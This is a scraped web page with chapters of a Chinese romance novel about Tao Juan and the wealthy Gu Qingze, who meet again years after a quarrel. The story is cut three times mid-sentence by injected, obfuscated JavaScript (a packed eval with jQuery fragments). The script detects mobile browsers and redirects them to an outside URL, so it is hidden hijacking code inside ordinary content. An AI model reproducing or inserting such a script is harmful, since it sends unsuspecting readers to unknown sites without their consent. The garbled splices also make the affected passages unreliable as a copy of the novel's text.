陶涓家在四楼,她打开门,请他进来,在玄关的鞋柜找了一会儿,拿出一双没拆封的棉拖鞋打开,递给他,然后指指客厅,“随便坐吧。我去厨房烧水,你喝茶还是热可可?” “什么都行。” 顾清泽没去客厅,他站在餐厅看她在厨房烧水,又默默打量她的家。 餐厅的小圆桌上摆着的照片应该是她父亲,遗像前还摆着水仙花和果盘。 他走近一点,凝视相片,在心里跟她爸爸问好。 陶涓烧上水,又从浴室拿出条大毛巾递给顾清泽,“擦擦头发。” 他乖乖接住毛巾擦了擦头发,看墙上挂的几张照片,有一张陶涓可能只有七八岁,戴着红领巾穿着背带裙,梳着两条麻花辫子,抿着嘴巴,笑得怪怪的,像是很想笑又尽力憋着。 “那时候我刚好换牙。”她最后还是做了两杯热可可,递一杯给他,“小心烫。” 顾清泽毛衣上还挂着细小水珠,耳朵红得厉害,不知道是不是已经冻伤了。 她想起他刚到北市时换季就感冒,还抱怨为什么哪里都没暖气,也不知道秋裤为何物,现在看来,依然没什么长进。 她坐在窗边一张木椅上,刻意和他拉开距离,她家的客厅很小,空气里混合着热可可和水仙花的香味,还有他身上有点冷冽的木质香气,她记得他说过,那是乌木和广藿香的味道,很多世纪以前,在海上贩运丝绸的商人用广藿香的叶子包裹丝绸防止霉变虫害…… 也许是他还没暖和过来,她总觉得他引发了看不见的冷热空气在小小的客厅里流动,形成细微的风拂在她脸上,又像发丝被静电吸附在脸上的微痒感。 这是种介于难受和舒适之间的怪异感觉。 陶涓放下杯子,手在脸颊上搓了搓,驱除那种微痒感,“你怎么还不打电话叫人?” 顾清泽摸出手机,有点尴尬:“刚才试着解锁车的时候手机就黑屏了。” 陶涓无可奈何挑挑眉,“唉,给我。你对严寒一无所知。” 顾清泽轻轻笑了一声。她从前不止一次这么说过。嘲笑他不知道秋裤、暖水袋、保温暖瓶是什么,告诫他下雪时千万别傻了吧唧舔铁栏杆、不戴手套摸铁门…… 陶涓知道他为什么笑,她也想笑,但忍住了。 19.祈使句 手机充电几分钟后恢复功能,顾清泽打给郑纶,简单说明情况,他开着免提:“你们多久能到?” 郑纶犹豫一下:“最少要半个小时。要移车的话可能更久。” 顾清泽偷眼看看陶涓,她微微皱眉,对他点点头。 就在两条街外,一列停靠在路边的SUV里,沈峤不解地问郑纶:“大哥,咱们最多五分钟就到了。” 从老板私奔后他们就一直跟着呢!生怕这辆电动超跑在极寒天气出什么岔子,还好,从乐城到滨市的三四个小时车都没事,老板跑去陶小姐的约会现场搅局时郑纶和她还在滨江酒店订了几个房间,吩咐一组保镖开上车不紧不慢跟着,之后他们又开另一辆车来到附近。 郑纶对着车顶翻个白眼,“你是没谈过恋爱?还是没看过晋江小说?知不知道合格的助攻要在恰当的时机姗姗来迟?” 沈峤恍然大悟:“哦。” “接下来,如果老板不打电话催我们到了没,我们就在这附近一直绕圈。” 挂了电话,顾清泽一脸无辜看看陶涓,垂下脑袋。 他头发还是湿湿的,被他用毛巾乱揉一阵东倒西歪的,潦草得像只被雨淋湿的流浪小狗。 陶涓看着他这副倒霉相,实在没力生气,“我拿电吹风来,你把头发吹干。” 她去卧室拿了电吹风,想了想,又拿了张小绒毯给他,“披上。”这傻瓜怎么不知道穿件外套呢? 顾清泽吹干头发,陶涓看看时间,已经五点多了。她给舅妈打电话,“我得耽搁一会儿,嗯……”她看他一眼,“行,等我差不多了就打电话叫大舅来家接我。” 原来她今晚的计划是跟家人一起吃饭! 顾清泽大大松一口气。现在想起早些时候被章秀钟三言两语弄得方寸大乱的自己,又想笑了。 陶涓忽然问他:“你饿不饿?” 他怔一下,“不饿。” 话音还没落,他的肚子抗议似的咕噜大叫一声。 这次陶涓没能忍住笑,顾清泽明知自己此时又衰又窘,但也跟着笑了。他这才想起来,不算她刚才给他那杯热可可的话,到此为止他一整天只吃了一个牛角包一杯橙汁。 说来也奇怪,之前一路开车冲到酒店他并没感到饿,这时她一问,真是又累又饿,全身软绵绵,如卧云端,也不知道是不是低血糖了,就连手指尖也微微颤抖,无法控制。 陶涓打开冰箱,里面只有一盒鸡蛋和一瓶牛奶,“我给你煮个面吧。” 顾清泽立刻说:“好!” 快熟面投入滚水锅里,陶涓也饿了。她又加了半包面,打了两粒鸡蛋,面分成两碗,顾清泽那碗多一点。 “要在客厅吃吗?” 他走到厨房门口:“你平时怎么吃?” 陶涓指指窗台,就在那儿吃。 窗台上有一块搁板,下面两个叠放的铁腿圆凳,木头凳面一红一蓝,边缘的油漆早已剥落,他和她并排坐着吃面,窗台下就是暖气片,坐在那里很暖和,窗户上方钉着铜钩,挂着一盆绿萝,叶子肥大油绿,一看就是一直有人在精心照顾。 他想起自己第一次吃快熟面还是在波士顿,也是陶涓煮的。 他们备战比赛熬到深夜,饥肠辘辘,他想要叫厨师来做饭,她说哪用得着这么麻烦,五分钟我就能让你吃上饭。然后在厨房施展开,电热壶烧开水倒进锅里,拆开几袋她从中国超市买的方便面,煮几分钟再从冰箱里拿几个鸡蛋敲下去。 她喜欢把鸡蛋煮得嫩嫩的,蛋黄还没完全凝固就出锅,吃面的时候搅一搅,一部分半凝固的蛋黄就会挂在面条上,吃起来别有风味。 吃完面,顾清泽自觉地收拾洗碗,“我后来试过很多次,总做不出来你做的这个味道。” “那当然!我这有秘方的。” 陶涓坐在窗边剥橘子,看到顾清泽半弯着腰洗碗,有点惊讶。这位少爷什么时候学会做家务了?看起来似模似样,不会实际搞一团糟吧? 在波士顿时她叫他洗碗,人家先是不愿意,说叫酒店清洁就行,她严肃反对,“怎么能这么懒呢?你该不会从来没洗过碗吧?” 后来证明这少爷可能从来没洗过碗,超大量洗洁精直接倒进锅碗,也不知道用海绵,手一滑,瓷碗跌在水槽里整齐地摔成两半。 她忍不住走到他旁边,一看,哎唷,人家现在是真学会洗碗了。也不知道是谁调|教的,可真不容易。 她看一眼他左手,没有戒指,但他们这样的人应该也不缺女伴,只要想要。 她不由想起他那些泳池派对,各种肤色的年轻女孩穿着比基尼在水池边端着酒杯走来走去,BGM还是现场DJ放的,他戴着墨镜躺在阳伞下,白色亚麻衬衫半敞着,露出晒成蜜色的胸腹,活生生的骄奢淫逸。 那个男孩和现在这个站在她厨房里洗碗的男人怎么会是同一个人。 可能还是同一个。顾清泽好像永远不记得拉起袖子,她摇摇头,“停,抬手!” 他乖乖停下,两手伸在水池上方,等待她指示,陶涓关掉水,“再这样袖子就湿透了。” 他仍然还是用太多洗洁精,成团的白色泡沫顺着他手指向下滑,滴落在水槽里,她拉高他毛衣袖子,叹气,衬衫袖口已经浸湿了一大片,扣眼浸水后变得很紧,想要解开很不容易,她解开一颗,他立刻把另一只手伸到她面前,她微微一怔,只好将另一颗袖口也解开,再把衬衫和毛衣袖子卷到他手肘上方。看到他手臂和手背凸起的青色血管,她忽然感到不自在,可他这时又换了只手递给她。 那种不自在的紧张感猛然放大,陶涓觉得脸颊有种被散粉刷轻轻扫到的错觉,那种类似头发被静电吸附在脸上的微痒感卷土重来,一时间好像呼吸都有些不顺畅。 她垂下头,没有和他对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217395|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只盯着藏蓝色羊绒衫上的编织纹路,卷好这只衣袖后她退回窗边,坐下继续剥橘子。 好一会儿厨房里只有水声。 顾清泽把碗放在沥水架上,还不忘用抹布擦净台面。 陶涓剥好了四个砂糖橘,全放在一个白瓷大碗里,正要剥第五个,顾清泽转过身,问:“你现在身体怎么样了?” “挺好的。”她刚说完,心脏又是一阵不规律的狂跳。 心慌气短的状况已经几天没出现,突然间又来了,她吓了一跳。 肯定是气的。还可能受了冻。 她安抚自己,没事,没事,继续吃药,少思多睡多休息,不做剧烈运动,一定会好起来的。 顾清泽不能确定她说的是不是真的。跟她上楼时他就注意到,她步子很慢,在楼梯转角会特意停留几秒钟,像在不动声色调匀气息。 陶涓和他目光一触,那种不自在的感觉又来了,她坐在圆凳上,自然要仰视站着的他,水槽上方的灯光从他背后投射过来,让她被他的影子完全笼罩住。 她不由自主深呼吸,见他想要靠近,她把装橘子的碗朝他推一点,“吃橘子吧。” 顾清泽拿起一个小橘子,放在手里细细撕白色的经络,陶涓看他双手红通通的,才想到刚才碰到他袖子冰凉,这少爷大约是没想到要转动龙头调水温,她竟然也没注意。 她赶快起来,从吊柜里取出一个小热水袋,加上热水拧紧,试了试温度递给他,“抱着。” 顾清泽一见小热水袋就呆了,布丁狗? 他翻过热水袋,捏了捏布丁狗的小尾巴,惊讶地看看她,再看看手里毛绒绒的热水袋。当时他想调整这条缝歪的线,用力拽了一下线头,结果反而更糟,小狗尾巴尖皱起一撮毛。 现在他手里这只,俨然就是那时他买的那只布丁狗。 他抱紧这只小狗,看着她轻轻笑了。 陶涓见他笑得莫名其妙,“你笑什么?” 他摇摇头,眉梢眼角的笑意却更浓了。 她转过脸,又是一阵心悸,突兀地想起妈妈之前说顾清泽是特意陪她们去机场,那种不自在感又来了,让她几乎有些慌乱,她稳一稳心神:“你的人还没到吗?” 顾清泽也察觉到陶涓的不自在,他也没理由继续逗留,“我催催他们。” 十分钟后,顾清泽的国王人马到达。几辆奔驰越野车鱼贯而来,在雪地中留下交错的轮印,却几乎没有发出声音。 陶涓站在没开灯的阳台向下看,众人簇拥着他,有人为他打伞,有人递上大衣,有人拉开车门,有人照顾那辆花俏但不中用的车,上车前,他无预兆地抬头看向她所在之处,她下意识地躲在墙后,再次一阵心悸。 这时她才后知后觉感到重逢后的顾清泽很陌生。 这个雪夜和她重逢的不是她记忆中那个倔强高傲的少年,而是一个男人。 20.春天到 顾清泽坐在车上很久才发觉自己手里还握着那个小橘子。 橘子热乎乎的,可能是被他手温捂热的,也可能是被布丁狗热水袋捂热的。 想起布丁狗热水袋,他又无声地笑了。 不知道这其中发生了什么,它最终还是到了她身边。 这一定是命运给他的暗示。 坐在副驾驶的郑纶从观后镜看到老板脸上迷离的笑容,在秘书三剑客群里发了个祈祷的emoji:以后应该不会再发疯了吧?现在他笑得十分荡漾,以后应该都是正向发展了吧? 孙淳:AI仿生人的恋爱不可以常理度之。哪有什么以后应该。 沈峤:我再次郑重申明,我从没说过我们老板像AI仿生人。请你以后也不要再这么说。 孙淳:行行行。哈哈,不过,看到有钱人也要受爱情的折磨,我心理平衡多了。 到了酒店套房,章秀钟正坐在客厅沙发上喝红酒,一见顾清泽非常高兴,“待会儿我们吃俄餐。这里的厨师从前在莫斯科白兔餐厅做主厨。” 顾清泽心不在焉,“嗯。” 章秀钟凑近他观察一会儿,笑了,“你跟楚舰说我们来这儿度假?” 顾清泽这才想起来,哦还有这事! 他两手揉揉脸,“你怎么来的?” 章秀钟哼一声,“飞机。我约了他明天谈度假村的合作。” 顾清泽有点抱歉:“好。你做主。” 太平刚成立的时候在东海一个小岛建了度假村,但几年过去经营惨淡,楚舰在国内外已经有一系列成熟的奢华度假项目,国外几个高奢海岛度假村尤其做的不错,但他国内一直没有合适的海岛项目,双方都希望能达成合作。 章秀钟跟来滨市是打算看顾清泽笑话的,万万没想到和陶小姐相亲的达西先生竟然是楚舰。 他又逗顾清泽,“你的新对手也很强劲啊。” 顾清泽沉默。忽然又不觉得布丁狗的暗示有多么重要了。 之前他还觉得和陶涓高度精神适配呢,然后呢?飞机落地在北市,周测出现了。英俊,高大,聪明,风度翩翩,是某一顶尖行业的精英翘楚。不比楚舰差。 相比他们,他好像没有什么优势。 何况周测这样的人都被陶涓分手了。 “啧啧啧,这就又患得患失了?”章秀钟抚掌大笑,“我的天呐,清泽,我从来没见过你这么不自信的样子。” 顾清泽坦然道:“是啊,大概每个人都会有不自信的时候吧。”而他有充分的不自信的理由。周测扔到他面前那本八卦杂志又在记忆中快速翻动,鄙夷的眼神:你想把她拉进这种地方?你怎么敢的?顾氏家族内斗争权的丑闻,他父亲搂着比他大不了几岁的艳女招摇过市的照片,无边无际的漆黑寒冷…… 他靠在沙发上,合上眼睛。 章秀钟几乎有点同情他了,忽然,顾清泽说:“你手头也有昆兰矿业的股份吧?尽快抛售掉。我四叔的庭审会比预计更快,会牵连到昆兰。” 章秀钟一愣,随即明白了。 昆兰矿业和顾氏金融业的几个公司都是顾清泽四叔管理的产业,看来顾四叔这次真的要进监狱,而且要在牢里待很久很久。 顾家这一代的四个人,顾大伯是长子,但才能有限,二伯更加平庸,一向不插手家里的事,经营了几个酒庄安心过日子,顾崇峻,也就是顾清泽的父亲,是老三,他和老四顾季岩最有才能,也一向被顾老爷子看重,他们之间的争斗也最激烈,都想成为顾氏下一任掌舵者。 十几年前,顾氏准备投入金融业,谁能拿到新产业,谁在顾氏就有更大话语权,就是这一年,在英国念书的顾清泽,当年十岁,突然失踪了快一周。 他被绑架了。 这件事顾家没有报警,当然也没公开信息,但是圈子里的人都知道,顾家一定是出了内鬼,不然是无法完成绑架的。 最终上报的是不相干的新闻:一名已怀孕的华裔女子在德法边境的公路上出了车祸,当场丧命。 在当地根本不算大新闻。 不过,这名女子,是顾清泽父亲的情妇。 而顾清泽,也在同一天回到顾家。 章秀钟那时候十一二岁,记得那阵子他家所有女性长辈都很亢奋,有时顾不得孩子们还在场就恶狠狠警告丈夫:可别像顾家老三那样引狼入室!小三想借腹上位,买通司机管家绑架你儿子威胁你! 但他总觉得其中另有蹊跷。情妇要借腹上位,绑架原配的儿子干什么?就算原配被逼签了离婚协议,她成功上位,一样也能被离婚啊。况且,做出这么可怕的事后,谁愿意让这样的女人留在在自己身边?不怕哪天自己死得不明不白吗? 再大一点了他才想到,就是因为这件丑闻,顾四叔掌管了顾氏金融业,而顾清泽的父亲失去的不仅是新产业的管理权,还有在顾老爷子心里的地位。一个连自己的情妇都摆不平的人,怎么能继承顾氏。 事情并没结束。 鹬蚌相争渔翁得利,顾老爷子病重前推举大儿子担任顾氏董事长。 不久之后大家又听到传闻,绑架案和顾四叔脱不了关系。情妇怀的孩子是谁的?说不定。她究竟死在谁手里?不知道。唉,人都死了,就当是场车祸吧。 这样的丑闻最终登上各种八卦杂志,虽然顾家施压清理,在流媒体上还能找到零星碎片。 现在看来,顾四叔当年真的不清白,现在因为搞庞氏骗局身陷囹圄,固然一多半是赌性太大,太贪心,但要说背后没有顾崇峻父子暗中推波助澜,他是不信的。 庞氏骗局这种东西,怎么说呢,只要一直有人接手就不会暴雷,银行不也是拆东墙补西墙? 如今这场兄弟内斗终于要落幕了,顾崇峻如愿以偿坐上顾氏董事长宝座,顾季岩身败名裂在监狱里过下半生。 顾四叔的事在他看来完全是咎由自取,他不明白为什么顾清泽忽然会因为这事闷闷不乐,刚才不还挺高兴吗? 他八卦兮兮问:“陶小姐今天看到你突然出现,惊讶不惊讶?开心不开心?” 顾清泽果然又笑了,他摇摇头,“她一开始挺生气的。” “然后呢?” 顾清泽又笑了笑,不出声。 “你明天乘胜追击,再约她出来呀!” 顾清泽再次摇头:“我们约好回北市再见。” 章秀钟掩面叹息,“我真受不了你这样子。” 顾清泽不理会他怂恿。他好不容易得到一个新的机会,一定要小心,不能再有半点差池。 他能感到陶涓对待他的态度和从前有微妙的差别,但他尚且无法判断这种转变是好还是坏。 他见过她是怎么拒绝追求者的,听说那男孩从她入校时就一直示爱,在她和周测交往后仍然纠缠,送花送礼物,从图书馆跟到宿舍门口,再昂贵的花和礼物陶涓都置之不理,每次都一言不发扬长而去,眼中只有冰冷的厌恶。 那人最后知难而退,还是因为看出他也喜欢陶涓。 焉知那人当日遭遇不会是他今后的遭遇? 他起身走到窗前,一眼就找到滨江公园的方向,那座摩天轮装饰着霓虹彩灯在夜空中闪烁,将一片广阔平整的雪地映出各种颜色,就像陶涓说的,很像一块绒毯。 那片雪地应该就是冻上的滨江。 陶涓还说过,江上风大的地方雪会被吹走,只留下光滑的冰冻江面,在太阳下亮晶晶,像水晶,站在上面能看到几米深的冰层下大鱼在游动。 她从前的学校,第八中学,就在江边不远处。她大舅家离学校只有十几分钟路程。 她现在应该在和他们一起吃饭吧? 陶涓帮忙洗碗时很难不想起顾清泽洗碗时的情形。 她越是让自己停下,各种无关紧要的小细节越是层出不穷。 从前顾清泽只比她高半个头,刚才她站在他面前却只到他肩膀那里,他肩也比从前宽了很多,让她有种近似害怕却又不是害怕的压迫感。 就是这样她才会觉得不自在吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曹艺萱临时捡漏了一个元宵晚会的活儿,虽然连上台的资格都没,只是在观众席给魔术师表演时当托儿,可这也是在镜头前露脸的机会,圈子里要挤破头,因为她在某地方台跨年晚会表演亮眼,蓝总才帮她抢到了这个机会,自然要她立刻回北市去参加彩排。 她们依旧是坐夜间软卧,火车开动时陶涓还在回复微信,先是楚舰的,接着是周测,弄得她不胜其烦。 曹艺萱凑过来看了一眼,“周医生真是绝了,又说要来接你,咱俩这次要不打个赌?他又得放鸽子。” “不用打赌!我说我会先到你家住几天,帮你收拾去剧组的行李,你们蓝总会派保姆车,叫他千万别来,你可是上升期女明星,闲人勿近!”她一边说一边就这么回复,曹艺萱咯咯笑,“真有你的!” 刚点了发送,楚舰的消息又来了,问她行李多不多,他可以派司机来接站。 他原先还想再和陶涓见一面,不过有个海外的工程出了些意外,昨天就走了。 陶涓直呼好险,再留在滨市,林爸和她妈一起上压力,她真想不出理由不赴约。况且,上一次中途走人,确实是她理亏。 她把给周测的回复复制后稍作修改发给楚舰,格外加两句感谢的话。 曹艺萱“啧啧”两声,“咱们涓涓现在很受欢迎啊,今年要走桃花运了?” 陶涓把手机扔一边,“都是烂桃花。” “达西先生也是烂桃花?他看起来不错啊!表舅给我爸妈发了人家履历照片——”曹艺萱搬着手指数楚舰的优点,“家世良好,跟你还是校友,说明智商过硬,虽然不能说白手创业,但绝对算得上年轻有为,长得又英俊,虽然有过几段情史,但是前任们没一个说他坏话,更没有私生子和不良嗜好,甚至还不吸烟喝酒——难能可贵!” 陶涓疲惫地眨眨眼,“这些条件放在一个男人身上就成了难能可贵,可这些条件你全都有,你还比他年轻快十岁呢!还更美貌!我干嘛放着你不管,去和一个处处不如你的男人吃饭,还要陪着笑脸没话找话跟人聊天?咱俩都不用去高级餐厅,嗑着瓜子聊都有趣得多。唉,恨不生为蕾丝边。” 曹艺萱笑得花枝乱颤,嘟嘴给闺蜜一个娇媚的空气亲亲。 火车到达北市时是早上七点多,天蒙蒙亮,曹艺萱打开门,正要把两人的行李推出包厢,有人在门边问:“要帮忙吗?” 21.旁观者清 曹艺萱怔一下,好奇看着站在卧铺门边的男子,这人二十八九岁,俊雅高挑,可惜了,眼睛有问题!他像是看不见她,眼里只有她身后的陶涓。 他盯着陶涓看了半天,似乎才觉得不大礼貌,才转过头对她颔首致意。 曹艺萱回头看看闺蜜,故意眯起一只眼睛歪嘴一笑:啧啧,又来一朵桃花。 从陶涓的反应看,他们两个是旧识,但她没想到他会出现在这里,呆了呆问了句废话:“你怎么在这儿?” 那男子答得也很妙:“我也回北市,为什么不能在这儿。” 曹艺萱咬着下唇忍笑,又意味深长看陶涓一眼:你藏得够深啊!待会儿必须老实交代! 陶涓还是懵的,可思维却很清晰,“你怎么知道我坐哪趟车?” 顾清泽就这么上当了,老老实实说:“公司线上日程我也有共享。”他说完觉得不妙,低头拉上她们的两个大行李箱往车门走。 他走到车门,站台上立即有人接住行李箱,陶涓早见识过他的国王人马,倒不以为奇。 曹艺萱当然是更好奇了,这人究竟是谁?这么大排场。 出站时顾清泽问陶涓:“我多备了辆车,让司机送你们回去吧,这里要叫车会等很久。”说着,他看向曹艺萱,眼神流露求助。 陶涓还在迟疑,曹艺萱立刻笑着答应,“那谢谢你了!” “不用谢我……这个,算是太平的公司福利。要是你当时愿意签长期合同,本来就有这一项的。”他原本是向曹艺萱解释,说着话又看向陶涓,似乎还想再说点什么,可最后只说,“那我走了。” 他走了几步又退回来,“两周后你复诊,我派个人陪你去?”这次没等陶涓问他就解释,“那天上午的日程你提前预留了。” 陶涓急忙摇手,“不用,不用,我已经找好人了。” 因为车是人家的,曹艺萱按捺了一路,到了家,大衣没脱就开始审问——那是谁?你们怎么认识的?认识多久了?以前什么关系?怎么没听你说过这号人物啊!现在什么关系? 得知顾清泽身份后,她下巴都要惊掉了:“这人怎么会坐火车?他不是有私人飞机吗?私人飞机应该都不止一架!感觉他这辈子应该都没坐过经济舱!” 陶涓不接她的话,默默打开行李箱分类整理,心想,顾清泽连绿皮火车都坐过,当然也坐过经济舱。 在波士顿HTI比赛结束后,他说他决定去北市念大学,自然和她一起飞去北市,订了同一架航班,到了机场她才知道,顾清泽的管家给他定的是头等舱。 她有点遗憾说,哦,那我们不能坐一起了。 他疑惑:为什么? 然后,陶涓知道了原来还有“升舱”这回事。 但她拒绝了,这次借光坐了头等舱,以后呢?公务舱、头等舱不是现在的她能消费得起的。她不喜欢“贷款”过超出自己能力范围的生活。 顾清泽听了她的解释后相当震惊,从前还没有人拒绝他。不过他尊重她的原则。 陶涓暗暗松口气,很开心他并没强迫她接受。她知道很多人会觉得她的做法是矫情。可她一向认为,接受了别人的馈赠,难道不需要回馈吗? 就像顾清泽请她吃酒店私厨做的牛排,她就带他吃顿龙虾,这是她力所能及的,他要是总给她坐头等舱,她可没法回馈。 只做接受馈赠的一方,时间久了友情必然变质。 登机后她刚坐好,顾清泽走来,跟她邻座的乘客提议交换位置。 陶涓和那位乘客都觉得不可思议,也都开心极了。 顾清泽一坐下,她立刻跟他击掌,大叫:We are the champions!这也太帅气了! ——这就是她的冠军队友!当之无愧。 起飞后,他告诉她,这是他第一次坐经济舱,她得教他怎么坐更舒服,饮料和飞机餐什么时候供应,阅读灯的按钮在哪里…… 她记得他们还玩了一局棋。不过,没有棋盘棋子,大家各自念出棋招,陶涓在呕吐袋背后上记下每一步。 通道另一边的乘客看到他们这样下棋,又好奇又惊讶,跟他们搭话后得知是T大学生后一脸了然:难怪呢,你们都是天才。 她和他相顾而笑,他说:We are...说了两个字突然有点羞涩,不像她那么放得开,低头笑了才小声说,we are the champions. 陶涓的机票是学校买的,总飞行时间19个小时,要在香港转机。 飞了几个小时后她睡着了,直到快在香港降落才醒来。 转机时大家都累了,顾清泽提议去贵宾休息室。 陶涓还是第一次听说机场有这种地方。 这样的地方还不止一个,顾清泽这时已经熟知她的行事原则,没有财大气粗替她付钱,他选了个用信用卡权限能使用的,因为他的信用卡级别高,还能带一位客人。 休息室不仅有免费食物和饮料,还有浴室可以淋浴。躺椅更是舒服极了。登机时还可以直接从休息室去登机口。 陶涓告诉顾清泽,这就叫薅羊毛。 直到现在,她用的信用卡还是这家公司的。 原本以为会和顾清泽成为很好很好的朋友。 他们不止是一起逆风获胜夺得冠军,她第一次感受到原来有人能和她的思想同步,原来无言的默契这种东西真的存在,他还和她喜欢一样的东西——在呕吐袋背后下象棋。 更难得的是他理解并且愿意接受她的“矫情”。 可惜好景不长。 到北市后,顾清泽渐渐暴露出性格上的缺点,他常常喜怒无常,对她说话阴阳怪气,语气里隐含谴责,仿佛觉得她亏欠了他什么。 两人决裂那天,她才知道,原来失望的不止是她,他也一点点挖掘并且记录下她的缺点。 他每句话都刺到她痛处。 是,她不敢冒险,她活得谨小慎微,她就是想要安稳的生活,可这有什么错?不是每个人都能像他那样有无限的试错成本。 她也不再隐忍,报复似的告诉他,她早就受够了他对她时时刻刻的评判,受够了他对她说话的态度和语气,受够了所有老师同学默认她要照顾他。 凭什么啊? 对,没错,他是十六岁就进大学的天才少年,是宠儿,是小孩子,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230258|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也不过就比他大三四岁,她有时候也想当小孩子! 陶涓问曹艺萱:“你知道我最气的点是什么?” “是什么?” “跟他这么吵了一架之后,听说他又在家里搞‘银趴’,我还是忍不住发微信劝他注意安全,谁知道这些人是人是鬼啊?结果——”她深呼一口气,“我被他拉黑了!拉黑了!”她说了句脏话,“迄今为止,就这一次!” “这还没完……”陶涓说着都觉得自己真是窝囊透了,是圣母,是大窝囊蛋——“被拉黑了,我还更担心他搞出什么事,跑去他家找他!” “然后呢?”曹艺萱紧张得握拳。 “人去楼空。人家走了。退学了。学籍都注销了。” 陶涓气得摊开四肢躺在地毯上,曹艺萱给她按摩太阳穴,“十年后,他突然出现在你相亲的现场,再次出现是陪着你坐火车,还给你提行李箱,让司机送你回家?听着像偶像剧情节……” “偶个鸡儿蛋!”陶涓揉揉胸口给自己顺气,她又心悸了,心脏一抽一抽的,“他可能是出于愧疚——啧,我不信!这可能吗?他从前那个做派,你觉得可能吗?也可能是回北市发展事业,想重温下昔日冠军队友的友情——啊呸,我偏不配合!” 曹艺萱笑道:“可你也排除了他是要看你笑话,落井下石。可见冠军队友的友情还没完全死掉,至少你这边没死完。” 陶涓认真想了一会儿,“不知道。但我一直觉得,他和其他纨绔子弟不太一样……” 从前有个有钱少爷追她,就是拿钱砸,送从荷兰空运的花,送昂贵的包,明明是追求却每次都弄得她恼火又尴尬,隐隐有种被轻蔑被羞辱的感觉。 顾清泽也有钱,可他就从来不会做这种用钱砸人的事,他懂得尊重。 要是真想看她笑话,她和太平签合同时他大可以出场奚落她。但他那天急匆匆对着她背影喊,是李唯安坚持要雇她。言外之意,她被太平雇佣,完全凭借自身实力。 他在照顾她的自尊心。 对啊,哪怕对方是个戴着破草帽在烈日下卖水果的老婆婆,他也会顾及到人家的尊严。他一直是这样的人。 可是这样的人退学离开北市前,一句话也没跟她说就走了。哦,还把她拉黑了。 “那你打算原谅他吗?”曹艺萱跟闺蜜一起躺地毯上。 陶涓揉揉眼睛,“不知道。” “嗯,也是。不管是友情还是爱情,一旦出现裂痕就很难修补。” 陶涓轻轻说:“我眼下,没力气补什么,我只想先重新站起来。”养好身体,恢复健康,重建自信。 在方舟的最后两年,几乎每天都被挑剔被贬低,被开除后职业自信几乎被摧毁。 刚失业那段时间,她很迷茫也很害怕,现在她不再担心害怕了,离开方舟她也能活得下去,可以接零活,也可以换别的工作,老天爷饿不死瞎家雀,何况宋牧谣不是说了嘛,大不了还能回滨市继承水果店呢。 她物欲不高,还在滨市拥有一间老破小房子,怎么就不能快快乐乐活下去呢? 她想到这儿笑了,摸摸曹艺萱的小手,“咱们都有美好的未来。” 22.复诊 曹艺萱的房子是她毕业前一年她爸妈买给她的,一梯一户,八层到顶,小区里楼间距惊人,在寸土寸金的北市是妥妥的豪宅。 她家有三间房间,每间都不小,但活动空间很小,全被各种衣服、饰品、鞋子、包占据。 前两年还要更糟糕,她卧室只留下仅能侧身通过的通道,另外两个房间更是塞得满满当当,几乎是实心的。 陶涓来留宿只能睡客厅沙发。 这个客厅还是因为疫情期公司要求艺人在家营业拍短视频腾空的,从那时起每隔半年陶涓就强行给她断舍离,很多买了不记得放在哪里又重复买的衣服鞋子,全被送去二手奢侈品店回血,还有各种购物节囤下的大量化妆品、营养品,许多都过期或临期了,过期的通通扔掉,临期的要么送人要么低价上咸鱼。 最后陶涓给她做了个手机APP,储物柜门里贴上二维码,一扫就知道都有什么。 这番断舍离之后曹艺萱发誓以后再也不囤货了,也会定期请人整理,陶涓每隔一阵来看看,但是今年春节前曹艺萱连续出差,陶涓又生病住院,家里就难免乱了些,一周后她就要进新剧组拍戏了,那里气候和北市相差很远,要带的衣服用品非得陶涓帮忙打包,不然到时又要临时乱买一堆。 陶涓一边指点她需要准备什么衣物,然后一件件摊开在地毯上拍照输入APP,自动生成搭配,算算在剧组的天数再看看往年的天气记录,增删一些物品,接着就能收纳装箱,什么东西在哪里,打开APP一目了然。 曹艺萱真心诚意地说:“我觉得你真可以好好发展一下这个副业,我不少同行都是外表光鲜亮丽,家里乱得老鼠进去都要开导航。春节前田田喊我到她家拿年货——我的天,从门口到卧室——快递箱都要堆到天花板上了!好多还根本没打开,她自己都吐槽说再这样下去要睡在快递箱上了。她还问呢,求你什么时候有空也帮她做一套寻物码。” 田田大名是舒予田,曹艺萱的大学室友,现在是她邻居,也是个家境优渥的小公主,这几年不怎么拍戏了,转型当生活博主倒是挺成功,只是这么一来家里各种快递源源不断。倒是也请了几次专业收纳,还有钟点工每周来一次,但收拾的速度永远赶不上快递进门的速度。 田田倒也看得开,把断舍离、收纳也拍成视频,也挺受粉丝欢迎。 陶涓随口说,“等我干完太平这票再说吧,到时候我好好琢磨琢磨,怎么搞个实用的APP帮人整理。” 其实很多人不是不会收纳,而是物欲太过旺盛,满足感只在拆开快递或者付款买下那一瞬间,想要继续满足,就要继续买买买。 田田就是这样的人。 